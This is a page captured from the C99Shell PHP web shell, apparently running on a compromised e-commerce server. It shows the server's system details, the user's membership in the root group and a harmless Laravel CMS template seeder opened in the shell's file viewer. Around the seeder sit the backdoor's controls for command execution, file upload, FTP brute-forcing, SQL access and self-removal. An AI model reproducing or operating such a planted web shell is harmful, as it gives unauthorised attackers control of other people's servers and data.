!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/CMS/Database/Seeders/   drwxr-xr-x
Free 26.48 GB of 117.98 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TemplateAndLayoutSeeder.php (4.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\CMS\Database\Seeders;

use 
Illuminate\Database\Seeder;
use 
Modules\CMS\Entities\Layout;
use 
Modules\CMS\Entities\LayoutType;

class 
TemplateAndLayoutSeeder extends Seeder
{

    
/**
     * Auto generated seed file
     *
     * @return void
     */
    
public function run()
    {
        
\DB::table('layout_types')->delete();
        
LayoutType::insert([
            [
                
'id' => 1,
                
'name' => 'Call To Action',
                
'description' => 'Call to action',
            ],
            [
                
'id' => 2,
                
'name' => 'Product Blocks',
                
'description' => 'Different Blocks',
            ],
            [
                
'id' => 3,
                
'name' => 'Categories',
                
'description' => 'Categories',
            ],
            [
                
'id' => 4,
                
'name' => 'Brands',
                
'description' => 'Product Brands',
            ],
            [
                
'id' => 5,
                
'name' => 'Blogs',
                
'description' => 'Blogs Layout',
            ],
            [
                
'id' => 6,
                
'name' => 'Extras',
                
'description' => 'Information Box',
            ],
        ]);
        
\DB::table('layouts')->delete();
        
Layout::insert([
            [
                
'id' => 1,
                
'layout_type_id' => 1,
                
'name' => 'Brand Call To Action 1',
                
'description' => 'Brand CTA 1',
                
'file' => 'cta-banner-template-v1',
                
'image' => 'cta-banner-template-v1.png'
            
],
            [
                
'id' => 2,
                
'layout_type_id' => 2,
                
'name' => 'Grid with sidebar',
                
'description' => 'Grid with left slider/banner',
                
'file' => 'product-grid-with-sidebar-template-v1',
                
'image' => 'product-grid-with-sidebar-template-v1.png'
            
],
            [
                
'id' => 3,
                
'layout_type_id' => 2,
                
'name' => 'Product Grid Tabs',
                
'description' => 'Product grid with tabs',
                
'file' => 'product-tabs-grid-template-v1',
                
'image' => 'product-tabs-grid-template-v1.png'
            
],
            [
                
'id' => 4,
                
'layout_type_id' => 1,
                
'name' => 'Multiple Call To Action',
                
'description' => 'Multiple CTA',
                
'file' => 'cta-banner-template-v2',
                
'image' => 'cta-banner-template-v2.png'
            
],
            [
                
'id' => 5,
                
'layout_type_id' => 3,
                
'name' => 'Category Block 1',
                
'description' => 'Categories Block',
                
'file' => 'category-template-v1',
                
'image' => 'category-template-v1.png'
            
],
            [
                
'id' => 6,
                
'layout_type_id' => 4,
                
'name' => 'Brand Block',
                
'description' => 'Brand Block',
                
'file' => 'brands-template-v1',
                
'image' => 'brands-template-v1.png'
            
],
            [
                
'id' => 7,
                
'layout_type_id' => 5,
                
'name' => 'Blogs Grid',
                
'description' => 'Blogs Grid',
                
'file' => 'blogs-template-v1',
                
'image' => 'blogs-template-v1.png'
            
],
            [
                
'id' => 8,
                
'layout_type_id' => 6,
                
'name' => 'Iconbox Grid',
                
'description' => 'Iconbox Grid',
                
'file' => 'iconbox-grid-template-v1',
                
'image' => 'iconbox-grid-template-v1.png'
            
],
            [
                
'id' => 9,
                
'layout_type_id' => 6,
                
'name' => 'Newsletter',
                
'description' => 'Newsletter',
                
'file' => 'newsletter-template-v1',
                
'image' => 'newsletter-template-v1.png'
            
],
            [
                
'id' => 10,
                
'layout_type_id' => 1,
                
'name' => 'Slider',
                
'description' => 'Slider',
                
'file' => 'slider-template-v1',
                
'image' => 'slider-template-v1.png'
            
],
            [
                
'id' => 11,
                
'layout_type_id' => 6,
                
'name' => 'Custom Block',
                
'description' => 'Custom Block',
                
'file' => 'custom-block-template-v1',
                
'image' => 'custom-block-template-v1.png'
            
],
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--